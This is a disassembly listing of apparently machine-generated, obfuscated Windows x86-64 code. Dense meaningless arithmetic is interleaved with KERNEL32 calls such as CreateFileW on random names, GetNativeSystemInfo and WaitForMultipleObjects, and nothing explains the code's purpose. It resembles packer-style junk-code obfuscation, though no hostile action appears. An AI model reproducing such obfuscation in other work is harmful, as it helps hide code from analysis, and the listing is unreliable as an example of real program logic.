mov rcx, qword [rsp + 0x15ef0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x63f], al
lea rax, [rsp + 0x23a0]
mov qword [0x140364278], rax
lea rcx, [rsp + 0x41c88]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [rsp + 0xb1ec]
mov dword [rsp + 0xb400], eax
mov rax, qword [rsp + 0x168f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb1b0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15b20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x150c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9820]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15230]
mov dword [rcx], eax
lea rax, [rsp + 0xa78c]
mov qword [rsp + 0x16f18], rax
mov rax, qword [rsp + 0x14550]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x149a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x15ef0]
mov byte [rcx], al
movzx eax, word [rsp + 0x2e4c]
movzx ecx, word [rsp + 0x2c2c]
sub eax, ecx
mov word [rsp + 0x21c4], ax
mov eax, dword [rsp + 0xaea8]
mov ecx, dword [0x140363ea0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xaf68], eax
mov rcx, qword [rsp + 0x15f40]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x6600]
mov qword [rsp + 0x16f20], rax
mov rax, qword [rsp + 0x13830]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4e0]
add eax, ecx
mov byte [0x1403535da], al
movsx eax, word [0x1403631dc]
movsx ecx, word [rsp + 0x1738]
and eax, ecx
mov word [rsp + 0x1dbc], ax
mov rax, qword [rsp + 0x150b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x769]
or eax, ecx
mov byte [rsp + 0x6e2], al
mov rax, qword [rsp + 0x15760]
movzx eax, word [rax]
mov word [rsp + 0x2ec4], ax
lea rdx, [rsp + 0x16140]
mov rcx, qword [rsp + 0x159d0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xb404], eax
mov rax, qword [rsp + 0x15300]
mov eax, dword [rax]
mov ecx, dword [0x140363a74]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8664], eax
lea rax, [rsp + 0x8388]
mov qword [rsp + 0x16f28], rax
mov eax, dword [rsp + 0xac7c]
movzx ecx, al
mov eax, dword [rsp + 0xa90c]
sar eax, cl
mov rcx, qword [rsp + 0x16bf8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xb3b8]
movzx ecx, al
mov eax, dword [0x14035cc78]
shl eax, cl
mov dword [rsp + 0x6da0], eax
lea rdx, [rsp + 0x45b28]
mov rcx, qword [rsp + 0x13848]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xacd4], eax
lea rax, [rsp + 0xac7c]
mov qword [rsp + 0x16f30], rax
mov rax, qword [rsp + 0x135d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x167b8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x11c0], ax
mov rax, qword [0x140363d38]
movzx eax, byte [rax]
mov byte [0x14035e5ab], al
mov rax, qword [rsp + 0x16320]
mov ecx, dword [rsp + 0xb378]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9c00], eax
mov eax, dword [0x140363be4]
mov ecx, dword [rsp + 0x7e48]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb148], eax
mov rax, qword [rsp + 0x150c0]
mov rcx, qword [rsp + 0x138f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xadc4], eax
lea rax, [rsp + 0xa944]
mov qword [rsp + 0x16f38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.WkkvI7oM_tTbIiySEq1S
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x16f40], rax
mov rax, qword [rsp + 0x13fa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29c8]
sub eax, ecx
mov word [rsp + 0x2610], ax
lea rax, [rsp + 0x5bb]
mov qword [rsp + 0x16f48], rax
mov rax, qword [rsp + 0x14000]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c04]
and eax, ecx
mov rcx, qword [rsp + 0x16d70]
mov word [rcx], ax
movsx eax, byte [rsp + 0x453]
mov rcx, qword [0x140363b48]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6f9], al
lea rdx, [rsp + 0x45b98]
mov rcx, qword [rsp + 0x16300]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xacec], eax
mov rax, qword [rsp + 0x134d0]
mov ecx, dword [rsp + 0xa9a4]
mov eax, dword [rax]
add eax, ecx
mov dword [0x140363b0c], eax
mov eax, dword [rsp + 0x95dc]
mov dword [rsp + 0xb408], eax
movzx eax, word [rsp + 0x2db0]
mov rcx, qword [rsp + 0x14968]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2dcc], ax
mov rax, qword [rsp + 0x16050]
movzx eax, byte [rax]
mov byte [rsp + 0x770], al
mov eax, dword [rsp + 0xb070]
mov ecx, dword [rsp + 0xaa3c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb128], eax
lea rax, [0x140363bf8]
mov qword [rsp + 0x16f50], rax
mov rax, qword [rsp + 0x15f68]
mov ecx, dword [rsp + 0x64d8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa54c], eax
mov rax, qword [rsp + 0x14c00]
mov ecx, dword [rsp + 0xad2c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xb3f0], eax
mov rax, qword [0x140363e78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x68e]
shl eax, cl
mov byte [rsp + 0x1df], al
mov rax, qword [rsp + 0x14bb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14b10]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x14035ccec], ax
mov r9d, 0x24fc
xor r8d, r8d
lea rdx, [rsp + 0x155d0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xb40c], eax
mov eax, dword [0x14035cc2c]
movzx ecx, al
mov eax, dword [rsp + 0x62c0]
shr eax, cl
mov rcx, qword [rsp + 0x13408]
mov dword [rcx], eax
lea rax, [rsp + 0x6ad8]
mov qword [rsp + 0x16f58], rax
mov rax, qword [rsp + 0x15788]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa88]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xada4], eax
mov rax, qword [rsp + 0x14370]
mov rcx, qword [rsp + 0x158e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14a58]
mov dword [rcx], eax
lea rax, [rsp + 0xa54c]
mov qword [rsp + 0x16f60], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xad98], eax
movsx eax, byte [rsp + 0x719]
mov rcx, qword [rsp + 0x149a0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6d8], al
mov rax, qword [rsp + 0x16208]
movzx eax, word [rax]
mov word [rsp + 0x2ec8], ax
movzx eax, byte [rsp + 0xb4]
mov rcx, qword [rsp + 0x139e0]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x16d80]
mov byte [rcx], al
lea rax, [rsp + 0x29dc]
mov qword [0x140364280], rax
mov rax, qword [0x140363a78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb364]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14280]
mov dword [rcx], eax
lea rax, [rsp + 0xa26c]
mov qword [rsp + 0x16f68], rax
movzx eax, word [rsp + 0x1008]
mov rcx, qword [rsp + 0x158f0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2484], ax
lea rax, [rsp + 0x6ef]
mov qword [rsp + 0x16f70], rax
mov eax, dword [rsp + 0x63a0]
mov ecx, dword [rsp + 0x950c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15e68]
mov dword [rcx], eax
lea rax, [rsp + 0xae38]
mov qword [rsp + 0x16f78], rax
lea rcx, [rsp + 0x41b68]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [rsp + 0x9820]
mov ecx, dword [rsp + 0xaa24]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xaee8], eax
mov rax, qword [rsp + 0x15ef8]
mov rcx, qword [rsp + 0x13f20]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa9d8], eax
mov rax, qword [rsp + 0x16b70]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x750]
add eax, ecx
mov rcx, qword [0x140364098]
mov byte [rcx], al
movzx eax, word [rsp + 0x2b28]
mov rcx, qword [rsp + 0x14af8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1390], ax
mov rax, qword [rsp + 0x15ad8]
mov ecx, dword [rsp + 0x6f68]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x137d8]
mov dword [rcx], eax
lea rax, [rsp + 0xae44]
mov qword [rsp + 0x16f80], rax
mov rcx, qword [rsp + 0x16708]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, byte [0x1403535ca]
mov rcx, qword [rsp + 0x15cc8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x634], al
lea rdx, [rsp + 0x15268]
mov rcx, qword [rsp + 0x15d48]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xb410], eax
movsx eax, word [rsp + 0x2bb8]
movsx ecx, word [rsp + 0x2e7c]
cdq
idiv ecx
mov word [rsp + 0x1d3c], ax
mov rax, qword [rsp + 0x15540]
movzx eax, word [rax]
mov word [rsp + 0x2ecc], ax
mov rax, qword [0x140363ac0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b1]
sar eax, cl
mov byte [rsp + 0x701], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa7c8], eax
lea rax, [rsp + 0xb390]
mov qword [rsp + 0x16f88], rax
mov rax, qword [rsp + 0x15e48]
mov ecx, dword [rsp + 0xb094]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14036405c], eax
mov r9d, 2
lea r8, [rsp + 0x144e0]
mov rdx, qword [rsp + 0x13e28]
mov rcx, qword [rsp + 0x151c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xb414], eax
mov rax, qword [rsp + 0x13498]
mov ecx, dword [rsp + 0xae10]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xac7c], eax
mov eax, dword [rsp + 0xb234]
mov ecx, dword [rsp + 0xb014]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x153c0]
mov dword [rcx], eax
mov eax, dword [0x140363d84]
mov dword [rsp + 0xb418], eax
mov rax, qword [rsp + 0x15730]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15278]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2c74], ax
movzx eax, byte [rsp + 0x720]
movzx ecx, byte [rsp + 0x562]
add eax, ecx
mov byte [rsp + 0xa5], al
mov eax, dword [rsp + 0xb310]
mov ecx, dword [0x140363a70]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15960]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14a38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x72dc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9ffc], eax
lea rax, [rsp + 0xac7c]
mov qword [rsp + 0x16f90], rax
mov rax, qword [0x1403639a0]
mov eax, dword [rax]
mov dword [0x140364264], eax
movzx eax, byte [rsp + 0x739]
movzx ecx, byte [rsp + 0x657]
and eax, ecx
mov rcx, qword [rsp + 0x13a30]
mov byte [rcx], al
mov rax, qword [rsp + 0x14e48]
movzx eax, word [rax]
mov word [rsp + 0x2ed0], ax
mov rax, qword [rsp + 0x16d88]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14960]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14790]
mov word [rcx], ax
lea rax, [rsp + 0x766]
mov qword [rsp + 0x16f98], rax
mov rax, qword [rsp + 0x14a68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xacb0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13820]
mov dword [rcx], eax
lea rdx, [rsp + 0x14220]
mov rcx, qword [rsp + 0x137b0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xadac], eax
mov rax, qword [rsp + 0x13d10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xac50]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xade0], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.gXJHecl_tIQn
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x16fa0], rax
movzx eax, byte [rsp + 0x61c]
movzx ecx, byte [rsp + 0x737]
sar eax, cl
mov byte [rsp + 0x1d5], al
movzx eax, word [rsp + 0x19f8]
mov rcx, qword [rsp + 0x143e0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x146b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x14928]
mov rcx, qword [rsp + 0x15820]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14035cc1c], eax
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov dword [rsp + 0xb41c], eax
mov rax, qword [rsp + 0x16958]
mov rcx, qword [0x1403639d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9f08], eax
mov rax, qword [rsp + 0x16070]
mov ecx, dword [rsp + 0xafa0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xad64], eax
lea rax, [rsp + 0x292c]
mov qword [rsp + 0x16fa8], rax
mov rax, qword [rsp + 0x14d68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b9]
add eax, ecx
mov rcx, qword [rsp + 0x13368]
mov byte [rcx], al
lea rax, [rsp + 0x8a08]
mov qword [rsp + 0x16fb0], rax
mov rax, qword [rsp + 0x168f0]
mov ecx, dword [rsp + 0x8188]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13e78]
mov dword [rcx], eax
mov rax, qword [0x140364008]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6618]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13820]
mov dword [rcx], eax
lea rcx, [rsp + 0x41b08]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x15aa8]
mov eax, dword [rax]
mov dword [0x140364288], eax
mov eax, dword [rsp + 0x6af8]
mov dword [rsp + 0xb420], eax
movzx ecx, word [rsp + 0x2e94]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2e6c], ax
movsx eax, word [rsp + 0x2a64]
movsx ecx, word [0x14035cccc]
add eax, ecx
mov word [rsp + 0x2d28], ax
lea rax, [rsp + 0x75a]
mov qword [rsp + 0x16fb8], rax
mov rax, qword [rsp + 0x14fd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x16e80]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x750], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
movzx eax, word [rsp + 0x2a00]
movzx ecx, word [rsp + 0x2a58]
sub eax, ecx
mov word [rsp + 0x14a0], ax
mov rax, qword [rsp + 0x14720]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xafd8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14f28]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13760]
mov rcx, qword [rsp + 0x150e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13f70]
mov dword [rcx], eax
lea rax, [0x14035cbfc]
mov qword [rsp + 0x16fc0], rax
mov rax, qword [rsp + 0x15400]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14c58]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14035e545], al
mov rax, qword [rsp + 0x13620]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x153e8]
mov qword [rsp + 0x16fc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16fc8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x15820]
mov dword [rcx], eax
mov rax, qword [0x1403639d0]
mov eax, dword [rax]
mov dword [rsp + 0xb424], eax
mov rax, qword [rsp + 0x13cb0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xb380]
shl eax, cl
mov dword [rsp + 0x9784], eax
mov rax, qword [rsp + 0x15070]
mov ecx, dword [rsp + 0x9b0c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xab38], eax
lea rax, [rsp + 0x676]
mov qword [rsp + 0x16fd0], rax
movzx eax, word [rsp + 0x2cec]
mov rcx, qword [rsp + 0x14e20]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x14ac8]
mov word [rcx], ax
mov eax, dword [rsp + 0xaf98]
mov ecx, dword [rsp + 0xa804]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x640c], eax
mov eax, dword [rsp + 0x7dac]
mov ecx, dword [rsp + 0xaec8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xabdc], eax
lea rax, [rsp + 0x1784]
mov qword [0x140364290], rax
movsx eax, byte [rsp + 0x43e]
movsx ecx, byte [0x1403535ca]
sub eax, ecx
mov byte [rsp + 0x6b0], al
movzx eax, byte [rsp + 0x72b]
mov byte [rsp + 0x771], al
movzx eax, word [rsp + 0x2cb8]
mov rcx, qword [rsp + 0x135e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2cbc], ax
lea rax, [rsp + 0xaa20]
mov qword [rsp + 0x16fd8], rax
mov eax, dword [rsp + 0x7608]
mov ecx, dword [rsp + 0xa948]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xae24], eax
mov rax, qword [rsp + 0x13e00]
mov rcx, qword [rsp + 0x16c38]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14868]
mov dword [rcx], eax
mov eax, dword [rsp + 0x64d8]
mov ecx, dword [rsp + 0x66e0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x78c8], eax
mov rax, qword [rsp + 0x14ab0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8828]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xac34], eax
lea rax, [rsp + 0x12b8]
mov qword [rsp + 0x16fe0], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xb428], eax
mov rax, qword [0x140363d68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x16f48]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1403535bb], al
lea rcx, [rsp + 0x41fb8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [rsp + 0xa758]
mov ecx, dword [rsp + 0xaeac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa98], eax
lea rax, [rsp + 0xb1f4]
mov qword [rsp + 0x16fe8], rax
mov rax, qword [rsp + 0x15e80]
mov eax, dword [rax]
mov rcx, qword [0x1403639f8]
mov qword [rsp + 0x16ff0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16ff0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x15d98]
mov dword [rcx], eax
mov eax, dword [rsp + 0xb364]
movzx ecx, al
mov eax, dword [rsp + 0xab44]
shr eax, cl
mov dword [rsp + 0xaaf0], eax
lea rax, [rsp + 0x2ce4]
mov qword [rsp + 0x16ff8], rax
mov rax, qword [rsp + 0x16ce0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4bc]
xor eax, ecx
mov byte [rsp + 0x704], al
mov qword [rsp + 0x20], 0
mov r9d, 0x29d5
mov r8d, 0xca9
mov edx, 0xf6
mov rcx, qword [rsp + 0x141c0]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0xaf88], eax
movzx eax, byte [rsp + 0x719]
mov byte [rsp + 0x772], al
lea rcx, [rsp + 0x41fb8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x15748]
movsx eax, word [rax]
movsx ecx, word [0x14035cccc]
or eax, ecx
mov word [rsp + 0x2ae0], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.zuGKlJPkeY532PN
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x17000], rax
mov eax, dword [rsp + 0xadb4]
mov ecx, dword [rsp + 0xa8e4]
and ecx, eax
mov eax, ecx
mov dword [0x14035ccf0], eax
mov eax, dword [rsp + 0x6a98]
mov ecx, dword [rsp + 0x63a0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xb084], eax
movzx eax, word [0x14035ccc0]
mov word [rsp + 0x2ed4], ax
mov rax, qword [rsp + 0x16330]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x58b]
add eax, ecx
mov byte [rsp + 0x119], al
lea rax, [rsp + 0x6824]
mov qword [rsp + 0x17008], rax
mov rax, qword [rsp + 0x14a28]
mov ecx, dword [rsp + 0xad24]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x16920]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9d18]
mov ecx, dword [rsp + 0xaff0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x16db0]
mov dword [rcx], eax
lea rax, [rsp + 0xacd0]
mov qword [rsp + 0x17010], rax
movzx eax, word [rsp + 0x251c]
mov rcx, qword [rsp + 0x13208]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x16c60]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6b8]
mov byte [0x14035e5ac], al
lea rax, [rsp + 0x7b68]
mov qword [rsp + 0x17018], rax
mov rax, qword [rsp + 0x163d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xae50]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x150c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13dd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa134]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x162c8]
mov dword [rcx], eax
lea rax, [rsp + 0xadec]
mov qword [rsp + 0x17020], rax
mov rax, qword [rsp + 0x167d0]
mov rcx, qword [0x140363f80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xb2a0], eax
movsx eax, word [rsp + 0x169c]
movsx ecx, word [rsp + 0x2a2c]
xor eax, ecx
mov word [rsp + 0xff8], ax
movsx eax, byte [rsp + 0x67]
movsx ecx, byte [rsp + 0x6f9]
sar eax, cl
mov rcx, qword [rsp + 0x15810]
mov byte [rcx], al
movzx eax, byte [0x14035e503]
mov byte [rsp + 0x773], al
movzx eax, word [rsp + 0x2a58]
movzx ecx, word [rsp + 0x2b28]
shl eax, cl
mov rcx, qword [0x140363da8]
mov word [rcx], ax
mov rax, qword [rsp + 0x16ab0]
mov ecx, dword [rsp + 0x7afc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xb234], eax
mov rax, qword [0x140363c18]
mov ecx, dword [rsp + 0x99e8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x162a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x16a00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x169c8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x296c], ax
mov rax, qword [rsp + 0x13718]
movzx eax, byte [rax]
movzx ecx, byte [0x14035e4f7]
add eax, ecx
mov byte [rsp + 0x71b], al
lea rax, [rsp + 0x910c]
mov qword [rsp + 0x17028], rax
mov rax, qword [rsp + 0x16e98]
mov ecx, dword [rsp + 0xaa78]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14a68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13858]
mov ecx, dword [rsp + 0xb0e0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb0cc], eax
lea rdx, [rsp + 0x15028]
mov rcx, qword [rsp + 0x159c0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa9f4], eax
mov rax, qword [rsp + 0x13cb0]
mov eax, dword [rax]
mov dword [rsp + 0xb42c], eax
lea rax, [rsp + 0x57c]
mov qword [0x140364298], rax
movzx eax, word [rsp + 0x2e64]
movzx ecx, word [0x14035cc14]
add eax, ecx
mov rcx, qword [rsp + 0x166e0]
mov word [rcx], ax
lea rax, [rsp + 0x86b0]
mov qword [rsp + 0x17030], rax
mov rax, qword [rsp + 0x15f80]
mov rcx, qword [rsp + 0x15fd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8c20], eax
movsx eax, byte [rsp + 0x232]
movsx ecx, byte [rsp + 0x736]
add eax, ecx
mov byte [rsp + 0x6b2], al
movzx eax, word [rsp + 0x2344]
mov word [rsp + 0x2ed8], ax
movzx eax, word [rsp + 0x2d10]
movzx ecx, word [rsp + 0x29cc]
add eax, ecx
mov rcx, qword [rsp + 0x16e48]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6ce]
movzx ecx, byte [0x1403535a2]
or eax, ecx
mov byte [rsp + 0xe9], al
mov rax, qword [rsp + 0x15248]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13ff0]
mov qword [rsp + 0x17038], rcx
movzx ecx, al
mov rax, qword [rsp + 0x17038]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x16eb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14b50]
mov rcx, qword [0x1403639d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [0x140363cd0]
mov dword [rcx], eax
lea rax, [rsp + 0xb0d4]
mov qword [rsp + 0x17040], rax
mov rax, qword [rsp + 0x14470]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x135c0]
mov qword [rsp + 0x17048], rcx
movzx ecx, al
mov rax, qword [rsp + 0x17048]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x8e54], eax
mov eax, dword [rsp + 0xab68]
mov ecx, dword [rsp + 0x78e8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15158]
mov dword [rcx], eax
lea rax, [rsp + 0x2aa4]
mov qword [rsp + 0x17050], rax
mov rax, qword [rsp + 0x14620]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b9]
and eax, ecx
mov byte [rsp + 0x68e], al
mov rax, qword [rsp + 0x14680]
mov eax, dword [rax]
mov dword [rsp + 0xb430], eax
lea rcx, str.y_G73T
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2edc], ax
mov eax, dword [rsp + 0xa0d0]
mov ecx, dword [0x14035cce0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x140e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x155e0]
mov ecx, dword [rsp + 0x66f4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xad68], eax
mov rax, qword [rsp + 0x14c10]
mov ecx, dword [0x140363f6c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x140363cb0]
mov dword [rcx], eax
lea rax, [rsp + 0x2180]
mov qword [rsp + 0x17058], rax
mov rax, qword [rsp + 0x13530]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x703]
and eax, ecx
mov rcx, qword [rsp + 0x13698]
mov byte [rcx], al
mov r9d, 0x1600
xor r8d, r8d
lea rdx, [rsp + 0x15488]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xad38], eax
lea rax, [0x14035e4a7]
mov qword [rsp + 0x17060], rax
movsx eax, word [rsp + 0x29d8]
mov rcx, qword [rsp + 0x13e48]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2a38], ax
mov rax, qword [rsp + 0x15188]
mov ecx, dword [rsp + 0xa2a4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x150a8]
mov dword [rcx], eax
lea rax, [0x14035cc08]
mov qword [rsp + 0x17068], rax
mov rax, qword [rsp + 0x14ec8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x16a98]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x700], al
movzx eax, word [rsp + 0x29a8]
movzx ecx, word [rsp + 0x2dd0]
sub eax, ecx
mov word [rsp + 0x1c70], ax
